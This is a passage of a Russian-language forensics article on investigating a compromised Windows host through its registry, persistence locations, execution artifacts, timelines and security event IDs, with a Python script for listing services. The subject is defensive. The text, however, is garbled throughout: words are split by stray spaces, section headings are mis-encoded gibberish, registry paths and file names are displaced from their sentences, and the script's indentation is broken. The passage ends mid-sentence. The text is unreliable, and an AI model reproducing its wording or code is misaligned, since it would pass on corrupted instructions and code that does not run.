Этот этап помога ет иссле дова телю обна ружить подоз ритель ные фай лы,
от которых мож но оттол кнуть ся при рас сле дова нии инци ден та и искать пути
про ник новения в сис тему.

ÏÎËÓ×ÀÅÌ ÎÑÍÎÂÍÓÞ ÈÍÔÎÐÌÀÖÈÞ Î ÑÈÑÒÅÌÅ

Пе ред началом иссле дова ния нуж но соб рать пер вичную информа цию о сис- 
теме. Для это го вос ста новим вет ки реес тра  и , что бы

получить из них сле дующие клю чи:

SOFTWARE SYSTEM

SYSTEM:  —
информа ция об уста нов ленной вре мен ной зоне;

• ControlSet001\Control\TimeZoneInformation

SYSTEM:  —
име на компь юте ра;

• ControlSet001\Control\ComputerName\ComputerName

SYSTEM: 
 — информа ция об иден тифика торах сетевых интерфей сов,

в которых ука зыва ются сетевые нас трой ки, а в клю че 
 мож но обна ружить имя домена;

• ControlSet001\Services\Tcpip\Parameters\

Interfaces

ControlSet001\

Services\Tcpip\Parameters

SOFTWARE:  — информа ция
об опе раци онной сис теме: вер сия, сбор ка и дру гое;

• Microsoft\Windows NT\CurrentVersion

SOFTWARE:  —
спи сок уста нов ленных прог рамм;

• Microsoft\Windows\CurrentVersion\Uninstall

SAM:  — информа ция о локаль ных поль- 
зовате лях сис темы.

• SAM\Domains\Account\Users

Что бы авто мати зиро вать про цесс, доб рые люди уже написа ли полез ный
скрип тик на Python — . В катало ге  ты най дешь скрипт

, который ана лизи рует перечис ленные клю чи. Нуж но будет

толь ко нем ного его под редак тировать: добавить код, который перед каж дым
дос тупом к клю чу будет счи тывать выг ружен ные тобой вет ки.

python-registry samples
system_info.py

ÈÙÅÌ ÇÀÊÐÅÏËÅÍÈÅ Â ÑÈÑÒÅÌÅ

Ес ли при ска ниро вании фай ловой сис темы не уда лось обна ружить вре донос- 
ный файл, то име ет смысл начинать иссле дова ние с поис ка мест зак репле ния
вре доно са в сис теме.

Для это го пред назна чена ути лита . Запус кай, откры вай вклад ку
File → Analyze Offline System и выбирай путь к сис темно му дис ку (который мы
при мон тирова ли рань ше). Так же нуж но задать путь до кон крет ного поль- 
зовате ля.

Autoruns

Ути лита показы вает мно жес тво основных путей зак репле ния, но при ана- 
лизе при мон тирован ного обра за лег ко про пус тить мно гие момен ты. Давай
прой дем ся по основным путям зак репле ния вре доно са в сис теме и инс тру- 
мен там, которые помогут соб рать допол нитель ные све дения.

Сис темные кус ты реес тра хра нят ся в катало ге 
, поль зователь ские  — в катало ге 

.

C:\Windows\System32\
config NTUSER.DAT C:\Users\<User>\
AppData

WMI Persistence ( )Ò1546.003
WMI (Windows Management Instrumentation) — набор инс тру мен тов, пред- 
назна чен ных для управле ния сис темами Windows. WMI популя рен сре ди зло- 
умыш ленни ков, пос коль ку поз воля ет выпол нять раз ведку в сети, обна ружи- 
вать анти виру сы и вир туаль ные машины, выпол нять про изволь ный код, сох- 
ранять свое при сутс твие в сис теме, а так же переме щать ся по кор поратив ной
сети.

В опре деле ниях WMI дей ствия называ ются пот ребите лями (Consumers),
а события — филь тра ми (Filters). Сущес тву ет так же тре тий ком понент,
который свя зыва ет их вмес те, — при вяз ка (Binding). Зло умыш ленник соз дает
три клас са:

 — некий филь тр дей ствий в сис теме, к при меру вход
поль зовате ля или соз дание про цес са;

• __EventFilter

 — дей ствие, которое выпол няет зло умыш ленник,
к при меру запуск полез ной наг рузки;

• __EventConsumer

 — объ ект, который свя зыва ет эти два
клас са.

• __FilterToConsumerBinding

Что бы зак репить ся этим методом, зло умыш ленни ки исполь зуют ути литу,
которая уме ет вза имо дей ство вать с WMI ( ). Что бы понять, про исхо- 

дило ли что-то такое, нам нуж но про ана лизи ровать сле дующий файл:

wmic.exe

C:\Windows\System32\wbem\Repository\OBJECTS.DATA 

На ша цель — най ти клас сы , а затем по име ни

 най ти все дей ствия. Сде лать это мож но в любом дво ичном
редак торе. Вби вай в поис ке класс свя зыва ния филь тра и дей ствия —

. Есть и готовый инс тру мент, который сде лает

всю работу за тебя, он называ ется . Я уже показы- 
вал, как с его помощью обна ружи вать зак репле ние, ког да 

.

__FilterToConsumerBinding
__EventConsumer

__FilterToConsumerBinding
PyWMIPersistenceFinder.py

раз бирал лабора- 
торию CyberCorpCase 1

Êëþ÷è çàïóñêà â ðååñòðå è ïàïêà àâòîçàãðóçêè ( )T1547.001
Что бы задетек тить эту тех нику зак репле ния, нам с тобой нуж но про ана лизи- 
ровать кус ты реес тра  и .SOFTWARE NTUSER.DAT

В кус те  смот рим сле дующие клю чи, отве чающие за при сутс твие

в ОС от име ни сис темы или адми на:

SOFTWARE

;• Microsoft\Windows\CurrentVersion\Run

;• Microsoft\Windows\CurrentVersion\RunOnce

;• Microsoft\Windows\CurrentVersion\RunServices

;• Microsoft\Windows\CurrentVersion\RunServicesOnce

;• Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

;• Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

.• Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Не забыва ем гля нуть те же клю чи в кус те реес тра  —

что бы понять, не было ли зак репле ния с пра вами поль зовате ля.

NTUSER.DAT:\SOFTWARE

Ко пать ся в реес тре я рекомен дую с помощью RegistryExplorer. Обра ти
вни мание на путь к исполня емо му фай лу и на вре мен ные мет ки клю ча реес- 
тра.

А вот сюда сто ит заг лянуть в поис ках вре донос ных исполня емых фай лов:

C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\
Programs\Startup

Вре доно сы, лежащие в такой пап ке, будут стар товать авто мати чес ки и при- 
нимать ся пакос тить сра зу пос ле заг рузки. Так же обра щай вни мание на фай- 
лы .lnk, в них иног да пря чут ся коман ды PowerShell или CMD.

Ñöåíàðèé âõîäà â ñèñòåìó Windows ( )T1037.001
За авто мати чес кое выпол нение скрип тов при вхо де в сис тему отве чает куст
реес тра , точ нее, ключ ,
где перечис ляют ся исполня емые фай лы. К при меру, APT-груп па XDSpy
записы вала сюда адрес вре донос ного фай ла, сох ранен ного в 

.

NTUSER.DAT Environment\UserInitMprLogonScript

AppData\
Local\Temp

Зак репле ние вре донос ного исполня емо го фай ла

Ñëóæáû Windows ( )T1574.011
Зло умыш ленни ки могут исполь зовать неп равиль ные раз решения на клю чи
реес тра той или иной служ бы, что бы выпол нять полез ные наг рузки.

Что бы зак репить ся этим методом, исполь зует ся сис темная ути лита 

. Для поис ка зак репив шихся вре доно сов смот рим куст , ключ
 и обра щаем вни мание на . Так же

не забыва ем про зак репле ния Service DLL, ког да сер висная динами чес кая
биб лиоте ка запус кает ся в кон тек сте про цес са . Для пар синга
клю ча  мож но вос поль зовать ся биб лиоте кой python-registry либо

тем же RegistryExplorer.

sc.
exe SYSTEM
ControlSet001\Services ImagePath

svchost.exe
Services

Вот как это реали зовать на Python:

   from typing import List
   from Registry import Registry
 import argparse

   from datetime import datetime
 import csv

 def ReadRegistryFile(reg):
     f = open(reg,'rb')
     registry = Registry.Registry(f)
   f.close()
    return registry

 class Service:
      Name: str = ''
      ImagePath: str = ''
      Description: str = ''
      DisplayName: str = ''
      ServiceDll: str = ''
      Timestamp: datetime = datetime.now()
      Type: int = 0

 def control_set_check(sys_reg):
     registry = ReadRegistryFile(sys_reg)
     key = registry.open("Select")
      for v in key.values():

          if v.name() == "Current":
            return v.value()

    def GetServices(sys_reg: str) -> List[Service]:
     registry = ReadRegistryFile(sys_reg)
       key = registry.open("ControlSet00%s\\Services" %
control_set_check(sys_reg))
      result: List[Service] = []
      for s in key.subkeys():

         service = Service()
         service.Name = s.name()

          for v in s.values():
             service.Timestamp = s.timestamp()

              if v.name() == "ImagePath":
                 service.ImagePath = v.value()

              if v.name() == "Description":
                 service.Description = v.value()

              if v.name() == "DisplayName":
                 service.DisplayName = v.value()

         fk = s.subkeys()
          for i in fk:

              if i.name() == "Parameters":
                  for j in i.values():

                      if j.name() == "ServiceDll":

                         service.ServiceDll = j.value()

       result.append(service)
    return result

 if __name__=="__main__":
     parser = argparse.ArgumentParser(
           prog='ProgramName',
           description='What the program does',
           epilog='Text at the bottom of help')
   parser.add_argument('--system',help="Path for SYSTEM registry 
hive")
     args = parser.parse_args()
       with open('sw_data_new.csv', 'w+') as f:

             writer = csv.writer(f)
 

 
           writer.writerow(['Имя', 'Описание','Имя на дисплее',
'Путь к файлу','Сервисная DLL', 'Дата создания'])

              for i in GetServices(args.system):

 
               writer.writerow([i.Name,i.Description,i.DisplayName,i
.ImagePath, i.ServiceDll,i.Timestamp])

Ïëàíèðîâùèê çàäà÷ ( )T1053.005
Что бы най ти тай но нап ланиро ван ные зло деями задачи, дос таточ но заг лянуть
в  и пос мотреть сох ранен ные там XML-фай лы.

При ана лизе обра щай вни мание на авто ра задачи в поле Principal → UserId
и на коман ды в полях Exec → Command и Exec → Arguments, а так же на триг- 
гер запус ка вре доно са в поле Settings.

C:\Windows\System32\Tasks

Çàäàíèÿ BITS ( )T1197
Зло умыш ленни ки исполь зуют BITS для заг рузки вре донос ных фай лов, так
как эти фай лы стар туют в кон тек сте легитим ной служ бы. Что бы соз дать
задание BITS, мож но исполь зовать фун кции API или сис темную ути литу
bitsadmin.

Здесь хра нит ся база заданий BITS:

C:\ProgramData\Microsoft\Network\Downloader 

Фор мат базы дан ных — QMGR. Начиная с Windows 10, она исполь зует фор- 
мат Extensible Storage Engine (ESE) и хра нит ся в фай ле . В более ран- 

них вер сиях Windows ищи фай лы  и  (информа ция в них

по боль шей час ти дуб лиру ется).

qmgr.db
qmgr0.dat qmgr1.dat

Что бы про читать эти фай лы, тебе понадо бит ся ути лита . Самое
важ ное для нас — кто соз дал задачу и какая коман да выпол нялась.

BitsParser

python3 BitsParser.py -i qmgr0.db 

ÑÎÁÈÐÀÅÌ ÈÍÔÎÐÌÀÖÈÞ ÎÁ ÈÑÏÎËÍßÅÌÛÕ ÏÐÎÃÐÀÌÌÀÕ

Для ана лиза запущен ных при ложе ний в Windows сущес тву ет мно жес тво инс- 
тру мен тов.

Prefetch
Фай лы трас сиров ки лежат в . Из них мож но почер пнуть

имя выпол няемо го фай ла, количес тво запус ков, спис ки фай лов, с которы ми
вза имо дей ство вал исполня емый файл, а так же вре мен ные мет ки: вре мя
и дату пер вого запус ка, вре мя изме нения и вре мя пос ледних семи запус ков.

C:\Windows\Prefetch

Ути литы для ана лиза:
;• WinPrefetchView

.• PECmd

В сер верных вер сиях Windows запись дан ных по умол чанию отклю чена.
За пус кай WinPrefetchView, перехо ди на вклад ку Options → Advanced

Options и ука зывай путь к фай лам Prefetch.

Ар тефакт запус ка вре доно са DeedRAT

На иллюс тра ции мы видим, что запус калась еще и динами чес кая биб лиоте ка
. Всег да обра щай вни мание на исполь зуемые фай лы. Под робнос- 

ти мож но узнать в инте рес ной  о поис ке так тик и тех ник в фай лах
Prefetch.

AFXML.DLL
статье

Amcache
Amcache — куст реес тра Windows, который хра нит информа цию о запущен- 
ных при ложе ниях, путь, вре мен ную мет ку пер вого запус ка и SHA-1-хеш фай- 
ла. Этот файл ты най дешь здесь:

C:\Windows\appcompat\Programs\Amcache.hve 

В Windows 8 эти арте фак ты хра нят ся в фай ле . Струк- 

тура это го кус та реес тра опи сана в статье 
.

RecentFileCache.bcf
Leveraging the Windows

Amcache.hve File in Forensic Investigations
Так же в катало ге  хра нит ся

информа ция о каж дой уста нов ленной прог рамме.
C:\Windows\appcompat\Programs\Install

Ути литы для ана лиза:
 извле кает дан ные, содер жащи еся в ;• AmcacheParser Amcache.hve

 извле кает дан ные из фай ла
;

• RecentFileCacheParser.exe

RecentFileCache.bcf

.• python-registry-amcache

При запус ке  исполь зуй сле дующую коман ду:AmcacheParser.exe

.    \AmcacheParser.exe -f "Amcache.hve" --csv "путь выгрузки"

Ре зуль тат смот рим в фай ле .

Хеш-сум му SHA-1 можешь сра зу про бить на VirusTotal.

Amcache_UnassociatedFileEntries.csv

Shimcache
Shimcache — это механизм, который обес печива ет обратную сов мести мость
ста рых при ложе ний с более новыми вер сиями Windows. Его парамет ры хра- 
нят ся в кус те реес тра :SYSTEM

C:\Windows\System32\config 

Клю чи:
;• CurrentControlSet\Control\Session

.• Manager\AppCompatCache\AppCompatCache

В кеше мож но най ти путь к фай лу, раз мер фай ла, вре мя пос ледне го изме- 
нения, вре мя пос ледне го обновле ния Shimcache, флаг выпол нения про цес- 
са. В зависи мос ти от вер сии Windows этот спи сок может слег ка раз личать ся.

Ана лизи ровать кеш удоб но ути литой :AppCompatCacheParser.exe

.    \AppCompatCacheParser.exe -f "SYSTEM" --csv ".\report"

UserAssist
В фай ле кус та реес тра поль зовате ля  есть ключ ,

помога ющий отсле живать выпол няемые прог раммы. Здесь мож но най ти дан- 
ные о при ложе ниях, запущен ных опре делен ным поль зовате лем через про- 
вод ник Windows. Исполня емые фай лы, запущен ные из коман дной стро ки,
не отоб ража ются. Информа ция записа на в дво ичном виде.

NTUSER.DAT UserAssist

Клю чи реес тра UserAssist хра нят ся вот в этой вет ке:

Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\
Count\ 

GUID для Windows 7 и выше:
 — запуск исполня емо го

фай ла;
• {CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}

 — запуск исполня емо го
фай ла с помощью сим воличес кой ссыл ки.

• {F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}

Каж дое зна чение UserAssist закоди рова но в фор мате ROT13. Сре ди дан ных
есть информа ция о чис ле запус ков исполня емо го фай ла или ссыл ки, а так же
мет ка вре мени пос ледне го выпол нения.

Для пар синга это го клю ча реес тра мож но вос поль зовать ся ути литой
.4Discovery

Продолжение статьи →
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ÑÎÁÛÒÈÉ

Таб лица MFT фай ловой сис темы нас читыва ет более вось ми вре мен ных
меток. Они хра нят ся в атри бутах  и . Но пом ни, что

зло умыш ленни ки могут изме нять мет ку  у вре донос ных фай- 
лов. Сама таб лица MFT хра нит ся в кор не сис темно го дис ка и называ ется

. Что бы выг рузить таб лицу из обра за, можешь исполь зовать R-Studio

или FTK Imager.

STANDART_INFO FILE_INFO
STANDART_INFO

$MFT

Для ана лиза обра за при годят ся ути литы MFTECmd или MFTExplorer.

.    \MFTECmd.exe -f "MFT" --csv ".\report"

По лучен ный файл  мож но прос мотреть в Excel, отфиль тро вав дан ные

по дате соз дания, либо можешь изу чать их с помощью ути литы
TimeLineExplorer.

.csv

Для пос тро ения вре мен ной шка лы событий сущес тву ет ути лита .
Исходные дан ные для нее луч ше все го готовить с исполь зовани ем скрип та

, которо му мож но скор мить побито вый образ, либо ука зать путь
к смон тирован ному дис ку. Psteal сох раня ет дан ные в файл , для его ана- 

лиза мож но вос поль зовать ся шаб лоном .

Plaso

psteal.py
.csv

TIMELINE_COLOR_TEMPLATES.csv

Под робнее о Plaso и пос тро ении тай млай нов
читай в стать ях «

», «

» и «
».

Тай млайн все го. Исполь зуем
Plaso для сбо ра сис темных событий Циф ровой
детек тив. Исполь зуем Timesketch для работы
с тай млай нами Plaso Пры жок в Sigma-ляр- 
ность. Исполь зуем пра вила Sigma в Timesketch

Еще можешь пос мотреть ути литы Autopsy и AXIOM, которые тоже отлично
справ ляют ся с выс тра ива нием тай млай на.

В Windows 10 с вер сии 1803 появил ся полез ный файл под наз вани ем
. Это база дан ных в фор мате SQLite, где содер жится

готовая вре мен ная шка ла активнос ти устрой ства. Здесь есть отметки
обо всех откры вав шихся фай лах, исполь зован ных при ложе ниях и служ бах.
Нуж ный файл ты най дешь вот в этом катало ге:

ActivityCache.db

C:\Users\<User>\AppData\Local\ConnectedDevicePlatform\L.<username> 

Ес ли ты авто ризо вал ся от име ни учет ной записи Microsoft, то наз вание пос- 
ледней пап ки будет сфор мирова но из 16 бук венно-циф ровых сим волов
(Microsoft ID), а при авто риза ции поль зовате ля с помощью Microsoft Azure
файл рас полага ется в катало ге .AAD.<ID>

Эта шка ла пред назна чена для син хро низа ции меж ду раз ными устрой ства- 
ми. В допол нение к самой базе ты най дешь файл с рас ширени ями ,

вклю чающий дан ные о вре мени, и  — жур нал пред варитель ной

записи, который хра нит информа цию перед переда чей ее в 
. Под робное опи сание струк туры вре мен ной шка лы и про цес са записи

событий мож но най ти в статье Windows Timeline ( ).

db-shm
db-wal

ActivityCache.
db

PDF
В  целых семь таб лиц, но нуж ная нам инфа

об активнос ти поль зовате ля лежит в двух таб лицах: 
и .

ActivityCache.db
Activity_PackageId

Activity
В таб лице  есть сле дующие поля:Activity

 — объ ект JSON, содер жащий информа цию об исполня емом фай- 
ле;

• AppId

 и  — вре мя начала и окон чания работы исполня емо- 
го фай ла в UTC, фор мат вре мени — Epoch Time;

• StartTime EndTime

 — иден тифика тор устрой ства; это поле будет дру гим
в слу чае син хро низа ции с обла ком Microsoft;

• PlatformDeviceID

 — опре деля ет тип активнос ти и может иметь сле дующие
зна чения: 2 (уве дом ление), 3 (резер вное копиро вание / аутен тифика ция
в Azure), 5 (откры тие при ложе ния, фай ла или веб-стра ницы), 6 (при ложе- 
ние исполь зует ся), 10 (текст ско пиро ван в буфер обме на), 11, 12, 15 (сис- 
темные опе рации Windows), 16 (опе рации копиро вания или встав ки);

• ActivityTypes

 — поле пред став лено в фор мате JSON и содер жит информа цию
об откры том фай ле: имя, путь и опи сание.

• Payload

В таб лице  хра нит ся информа ция о при ложе нии: рас- 

положе ние исполня емо го фай ла, его имя, а так же вре мя исте чения сро ка
дей ствия записи (поле ). Записи в этой таб лице хра нят- 
ся 30 дней.

Activity_PackageId

Expiration Time

Ути литы для ана лиза :ActivityCache.db
;• WxTCmd.exe

;• DB Browser for SQLite
.• AXIOM

Да вай поп робу ем открыть этот файл в DB Browser for SQLite.

Прос мотр таб лицы Activity

Пе рехо дим на вклад ку SQL и встав ляем сле дующий . В окне
вывода зап роса видим вот такие поля.

зап рос SQLite

Сор тируя вывод по полю , удоб но отсле живать хро ноло гию дей- 

ствий зло умыш ленни ков.

StartTime

ÀÍÀËÈÇÈÐÓÅÌ ÑÎÁÛÒÈß WINDOWS

В этом раз деле раз берем основные события Windows, ана лиз которых
поможет иссле дова телю вос ста новить кар тину ком про мета ции хос та
и понять, как зло умыш ленни ки переме щались по сети. В Windows есть
базовые и рас ширен ные полити ки ауди та. Про цесс нас трой ки рас ширен ной
полити ки ауди та опи сан в .статье на Anti-Malware

Рас смот рим события вхо да в Windows. Все перечис ленные иден тифика- 
торы событий вклю чены в полити ку ауди та по умол чанию.

 — вход в сис тему. Изу чая это событие, всег да обра щай вни мание

на тип вхо да (спи сок пред став лен в ), имя учет ной
записи, код вхо да, домен, а так же на поле све дения о сети, в котором
может быть ука зан сетевой адрес источни ка вхо да.

• 4624

до кумен тации Microsoft

 — выход из сис темы. При ана лизе это го события сопос тавляй код
вхо да с событи ем 4624, что бы получить про дол житель ность сеан са.

• 4634

 — ошиб ка вхо да в сис тему. Тут важен тип вхо да, код вхо да, имя учет- 

ной записи, све дения о сети, а так же код ошиб ки. Нап ример, ошиб ка
 говорит о неп равиль ном вво де логина и пароля. Если таких

событий мно го, зна чит, кто-то под бирал пароль.

• 4625

0xC000006A

 — вход в сис тему с явным ука зани ем аутен тифика цион ных дан ных.

Событие регис три рует ся на хос те источни ка авто риза ции. При поис ке
боково го переме щения по сети ана лиз это го события ука жет на хост, учет- 
ные дан ные, а так же про цесс, ини циирующий авто риза цию ( ,

 или какой-то дру гой).

• 4648

wmic.exe

sc.exe

•  — сеан су вхо да наз начены спе циаль ные при виле гии. Для отсле- 

жива ния поль зовате ля с наз начен ными при виле гиями нуж но сопос тавить
поле «код вхо да» с событи ем 4624. Спи сок воз можных при виле гий:

4672

 — дей ствие в качес тве час ти опе раци онной сис- 
темы;

• SeTcbPrivilege

 — резер вное копиро вание фай лов и катало гов;• SeBackupPrivilege

 — соз дание объ екта мар кера;• SeCreateTokenPrivilege

 — отладка прог рамм;• SeDebugPrivilege

 — доверять учет ным записям
компь юте ров и поль зовате лей для делеги рова ния;

• SeEnableDelegationPrivilege

 — соз дание ауди та безопас ности;• SeAuditPrivilege

 — оли цет ворение кли ента пос ле аутен- 
тифика ции;

• SeImpersonatePrivilege

 — управле ние жур налами ауди та и безопас- 
ности;

• SeSecurityPrivilege

 — изме нение зна чений сре ды
встро енно го ПО;

• SeSystemEnvironmentPrivilege

 — замена токена уров ня про цес- 
са;

• SeAssignPrimaryTokenPrivilege

 — вос ста нов ление фай лов и катало гов;• SeRestorePrivilege

 — поз воля ет стать вла дель цем фай лов
или дру гих объ ектов.

• SeTakeOwnershipPrivilege

•  — вход в сеанс выпол нен успешно. Это событие рас положе но

в канале .

При ана лизе обра щай вни мание на имя вошед шего в сис тему поль зовате- 
ля и IP-адрес источни ка. Это событие соп ровож дает ся событи ем 4624,
тип вхо да 10.

21 (RDP)

Microsoft/Windows-TerminalServices-LocalSessionManager

А вот эти события могут озна чать, что в сис теме зак репил ся зло умыш ленник:
,  (по умол чанию не уста нов лены) — в сис теме уста нов лена

служ ба. При ана лизе этих событий обра щай вни мание на имя соз дава- 
емой служ бы, имя исполня емо го фай ла и учет ные дан ные поль зовате ля.
Учти, что в событии 7045 не ука зыва ется имя поль зовате ля, который соз- 
дает служ бу. К при меру, при выпол нении  по умол чанию будет соз- 
дана служ ба с име нем .

• 7045 4697

PsExec

PSEXESVC

 — уда ление служ бы.• 4699

, , 

 —

эти события регис три руют ся в жур нале 
. Так же при нас трой ке рас ширен ной полити ки

ауди та ана логич ные задания соз дают ся в жур нале Security с иден тифика- 
тора ми , 

, 

.

• 106 (ðåãèñ òðà öèÿ çàäà÷è) 140 (îáíîâëå íèå çàäà÷è) 119

(çàïóñê ýêçåì ïëÿ ðà çàäà÷è â ñâÿ çè ñ âõî äîì ïîëü çîâàòå ëÿ)

Microsoft-Windows-Task-

Scheduler/Operational

4698 (çàï ëàíèðî âàí íîå çàäàíèå ñîç äàíî) 4700 (çàï- 

ëàíèðî âàí íàÿ çàäà÷à âêëþ ÷åíà) 4702 (çàï ëàíèðî âàí íîå

çàäàíèå îáíîâëå íî)

 — событие, которое воз ника ет при регис тра ции при вяз ки
 WMI. Это событие регис три рует ся в жур- 

нале .

• 5861

FilterToConsumerBinding

Microsoft-Windows-WMI-Activity/Operational

Дос туп к общим сетевым ресур сам:
, 

 — при боковом переме щении эти события будут содер жать
сетевые адре са, а так же катало ги ,  и , к которым пыта ются
получить дос туп зло умыш ленни ки.

• 5140 (ïîëó÷åí äîñ òóï ê îáùå ìó ñåòåâî ìó ðåñóð ñó) 5145

(ïîëó÷åí äîñ òóï ê îáùå ìó ñåòåâî ìó îáú åêòó, êàòàëî ãó

èëè ôàé ëó)

C$ ADMIN$ IPC$

Боль шое количес тво арте фак тов выпол нения при ложе ний в сис теме пре дос- 
тавля ют события PowerShell:

 (по умол чанию уста нов лено) — начало выпол нения коман ды
или сеан са, в поле «коман дная стро ка» ука заны парамет ры запус ка
PowerShell.

• 400

 — выпол нение кон вей ера.• 800

 — жур налиро вание модулей.• 4103

 — про токо лиро вание бло ка сце нари ев. В этом событии записы- 

вают ся все бло ки, которые выпол няют ся пос ледова тель но при выпол- 
нении скрип тов PowerShell.

• 4104

Ана лиз события соз дания про цес са  поз воля ет отсле живать запус- 

каемые в сис теме исполня емые фай лы. Обра щай вни мание на имя учет ной
записи и информа цию о про цес се. В поле Process Command Line ука зано имя
запус каемо го фай ла и его аргу мен ты. Событие  сви детель ству ет

о завер шении про цес са.

4688

4689

При вхо де в учет ную запись с исполь зовани ем Kerberos или NTLM события
регис три руют ся на кон трол лере домена. Вот какие быва ют события вхо да
в учет ную запись и дос тупа к объ ектам AD:

 — опе рация над объ ектом домена Active Directory. Ана лиз это го
события поз воля ет выявить ата ку DCSync. Тут важ но поле ,
которое дол жно содер жать имя учет ной записи кон трол лера домена (к
при меру, ) или . Поле  дол жно
иметь зна чение . Так же иссле дуй поле , которое
содер жит мас ку дос тупа Control Access, и GUID типа дос тупа, свя зан ный
с реп ликаци ей.

• 4662

Account Name

DC$ NT AUTHORITY/SYSTEM Access Mask

0x100 Properties

 — зап рос Kerberos TGT, обра щаем вни мание на ошиб ки.• 4768

 — зап рос Kerberos TGS. При ана лизе события обра щай вни мание

на имя служ бы (в име ни дол жен при сутс тво вать знак ), код ошиб ки и тип
шиф рования билета. Ана лиз это го события поз волит выявить ата ку
Kerberoasting.

• 4769

$

 — сбой пред варитель ной аутен тифика ции Windows. Событие воз- 

ника ет толь ко на кон трол лере домена и генери рует ся для поль зовате лей
с фла гом пред варитель ной аутен тифика ции. При ана лизе это го события
необ ходимо обра щать вни мание на имя поль зовате ля, при аутен тифика- 
ции которо го про изо шел сбой.

• 4771

 — аутен тифика ция с исполь зовани ем NTLM.• 4776

 — соз дание учет ной записи. Это событие регис три рует ся на кон- 

трол лере домена, сер верах и рабочих стан циях.

• 4720

 — объ ект домена добав лен в гло баль ную груп пу поль зовате лей.• 4728

 — объ ект добав лен в локаль ную груп пу поль зовате лей.• 4732

 — объ ект добав лен в уни вер саль ную груп пу.• 4756

 — перечис ление членс тва поль зовате ля в локаль ной груп пе.• 4798

Еще сто ит упо мянуть логи ути литы Sysmon, которые мы не будем раз бирать.
Одна ко они могут рас ска зать под робнос ти о дей стви ях зло умыш ленни ков,
показать события рас ширен ной полити ки ауди та по дос тупу к фай лам и вет- 
кам реес тра, а так же сетевой активнос ти.

Инс тру мен ты для ана лиза:
 — инс тру мент для быс тро го ана лиза логов, осно ван ный на пра- 

вилах Sigma;
• Hayabusa

 — ути лита NirSoft для ана лиза событий. Она поз воля ет
филь тро вать логи по датам, иден тифика торам событий, а так же по клю- 
чевым сло вам. Для исполь зования дос таточ но ука зать каталог с фай лами

. В рас ширен ных нас трой ках ука зыва ем через раз делитель иден- 
тифика торы событий и про межу ток вре мени;

• FullEventLogView

evtx

 — решение для прос мотра, ана лиза и монито рин га
событий Windows;

• EventLogExplorer

 — инс тру мент ана лиза логов вхо да, отоб ража ющий информа- 
цию в виде гра фов. LogonTracer свя зыва ет имя хос та или IP-адрес и имя
учет ной записи, най ден ное в событи ях. При ана лизе логов кон трол лера
домена обя затель но вос поль зуйся этим инс тру мен том. Он отлично эко- 
номит вре мя ана лиза.

• LogonTracer

Филь тра ция логов по событи ям и вре мени

Äåéñòâèÿ ïîëüçîâàòåëåé

Час то инци ден ты про исхо дят по вине поль зовате ля, к при меру ког да он заг- 
ружа ет прог раммы из неп роверен ных источни ков или запус кает вре донос ные
вло жения из поч ты. Давай рас смот рим арте фак ты, которые поз воля ют
понять, что кон крет но он делал.

Most Recently Used

MRU (Most Recently Used) — арте факт Windows, в котором хра нит ся
информа ция о вза имо дей ствии поль зовате ля с фай лами и катало гами через
про вод ник. В кус те  каж дого поль зовате ля есть клю чи, отно сящи- 

еся к MRU.

NTUSER.DAT

Нап ример, вот в этом клю че реес тра хра нит ся спи сок фай лов, сгруп- 
пирован ных по рас ширению, и спи сок катало гов, с которы ми вза имо дей ство- 
вал поль зователь:

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\
RecentDocs 

При ана лизе записи обра щай вни мание на дату откры тия и имя фай ла.
А вот этот клю чик хра нит информа цию о запус каемых коман дах

при помощи ути литы Windows Run (горячая кла виша Windows-R):

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 

И наконец, ключ, содер жащий информа цию о фай лах, к которым обра щал ся
поль зователь с помощью диало гово го окна откры тия или сох ранения фай ла:

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\
ComDlg32 

Со дер жимое клю ча RecentDocs

Спи сок фай лов и катало гов, с которы ми вза имо дей ство вал поль зователь, ты
най дешь по такому пути:

C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Recent 

От сорти ровав фай лы по вре мен ной мет ке, мож но вос ста новить пос ледова- 
тель ность запус ка при ложе ний и откры тия фай лов. При ана лизе это го арте- 
фак та обра щай вни мание на фай лы с рас ширени ями .lnk, которые могут
содер жать коман ды запус ка сце нари ев PowerShell или CMD. Для ана лиза
фай лов c рас ширени ем  мож но вос поль зовать ся инс тру мен том LECmd..lnk

Shellbags

Shellbags — это набор клю чей реес тра, которые содер жат све дения о прос- 
матри ваемых поль зовате лем катало гах. Начиная с Windows 7, этот арте факт
хра нит ся в кус те реес тра

C:\Users\<user>\AppData\Local\Micrososft\Windows\UsrClass.dat 

Для Windows XP упо мяну тый набор арте фак тов хра нит ся в кус те реес тра
. Shellbags хра нит вре мен ные мет ки дос тупа к катало гам, в том

чис ле к общим сетевым ресур сам.
NTUSER.DAT

Для удобс тва ана лиза мож но вос поль зовать ся ути литой ShellBagsExplorer,
в которую необ ходимо заг рузить куст реес тра .UsrClass.dat

Спи сок катало гов, хра нимый в Shellbags

SRUM

Эта лег кая для запоми нания аббре виату ра озна чает System Resource
Utilization Monitor. С вось мой вер сии в Windows появи лась воз можность
отсле живать исполь зуемые при ложе ниями ресур сы. Этот арте факт рас- 
положен в фай ле . Информа ция
записы вает ся в базу каж дый час и при вык лючении компь юте ра.

C:\Windows\System32\sru\SRUDB.dat

В базе хра нят ся сле дующие арте фак ты: сетевые под клю чения, исполь- 
зование сети, энер гопот ребле ние, дан ные push-уве дом лений, а так же
исполь зование ресур сов при ложе ниями. Ана лиз активнос ти сети и сетевых
под клю чений помога ет опре делить, ког да компь ютер был под клю чен
к интерне ту и каким спо собом, а так же количес тво получен ных и отправ- 
ленных при ложе нием дан ных в бай тах. Мы ана лизи рова ли этот арте факт
при решении кей са .Pwned-DC

Инс тру мен ты для ана лиза:
 — этот инс тру мент исполь зует  Excel для вывода соб- 

ранных дан ных в таб лицу;
• SRUM-DUMP шаб лон

SrumECmd.•

Äàííûå áðàóçåðîâ

Бра узер нын че самая глав ная прог рамма на компь юте ре, и мно гие дей ствия
поль зователь совер шает имен но в ней. Здесь же най дут ся и важ ные для рас- 
